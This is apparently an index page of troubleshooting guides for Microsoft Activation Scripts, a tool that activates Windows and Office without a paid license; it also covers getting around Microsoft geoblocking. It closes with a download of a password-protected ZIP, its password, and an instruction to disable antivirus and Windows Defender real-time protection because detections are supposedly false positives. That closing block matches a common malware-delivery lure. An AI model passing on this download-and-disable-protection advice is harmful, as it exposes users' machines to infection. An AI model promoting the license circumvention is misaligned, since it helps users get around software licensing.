Guides

When using Microsoft Activation Scripts (MAS), specific error messages often point you toward the right solution. If you're unsure where to begin, prioritize seeking direct assistance over blindly applying fixes. This section provides targeted guides to address common activation hurdles and system-related problems.

If you are facing any error, the script should tell you which guide you need to follow. If you are unsure, we suggest getting help from here instead of blindly following the guides.

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📄️Windows 10 Updates After End-Of-Life

Official support for consumer Windows 10 editions ended October 14th 2025. For many, the obvious solution is to upgrade to Windows 11. However, many cannot because their hardware is unsupported. Others simply prefer Windows 10 and wish to remain on it for as long as possible.

](/windows10_eol)

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📄️Office License Is Not Genuine

------------------------------------------------------------------------

](/office-license-is-not-genuine)

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📄️Bypass Microsoft Geoblocking

Microsoft blocks services in certain countries due to U.S. laws and local legal regulations.

](/bypass_microsoft_geoblocking)

[

📄️Fix WPA Registry

- In some cases, the system may have corrupt WPA registry keys at HKEYLOCALMACHINE\SYSTEM\WPA which can cause sppsvc to not work and activation to fail, it can also cause high CPU usage in sppsvc service.

](/fix-wpa-registry)

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📄️Licensing Servers Issue

In some cases, HWID activation may fail because the system couldn't connect to HWID licensing servers. The activation script will inform you about this if that is the case.

](/licensing-servers-issue)

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📄️Issues Due To Gaming Spoofers

MAS activation may show the error related to "Incorrect ModuleId". Some gaming spoofers mess with Windows activation-related registry keys and because of that windows can not be activated. To fix this, you just need to restore that corrupt registry key with default data.

](/issues_due_to_gaming_spoofers)

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📄️Fix Windows Services

Fix broken services which are required by MAS to work.

](/fix_service)

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📄️Change Edition Issues

If the script encounters an error during the Windows edition change, follow the points listed below in this order.

](/change_edition_issues)

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📄️Windows Evaluation Editions

Windows evaluation editions are trial versions of Windows operating systems provided by Microsoft. These editions allow users, especially IT professionals, to test and evaluate the features and capabilities of different Windows versions before making a purchase decision.

](/evaluation_editions)

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📄️Fix PowerShell

Scripts may show an error related to PowerShell not working.

](/fix_powershell)

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📄️PowerShell on Legacy Windows

Windows Vista and earlier versions do not come with PowerShell preinstalled. The guide below provides links you can use to install PowerShell 2.0.

](/powershell-on-legacy-windows)

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📄️Update Windows ISO

Official Windows 10 / 11 ISOs available through public free links on Microsoft do not include the latest monthly updates.

](/update-windows-iso)

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📄️In-place Repair Upgrade

(Keeping Files and Apps)

](/in-place_repair_upgrade)

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📄️Remove Malware

Guide on how to remove malware.

](/remove_malware)

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📄️Clean Install Windows

Guide on how to backup your data and clean install Windows.

](/clean_install_windows)

Download Microsoft Activation Scripts

Get the latest MAS package. File: MAS-guide-links.zip

Download ZIP
Password:WYqejXiqBi97

If the download or the script doesn't work, please temporarily disable your antivirus (including Windows Defender real-time protection) and try again. Activation tools are commonly flagged as false positives.

Microsoft Activation Scripts — Open source on GitHub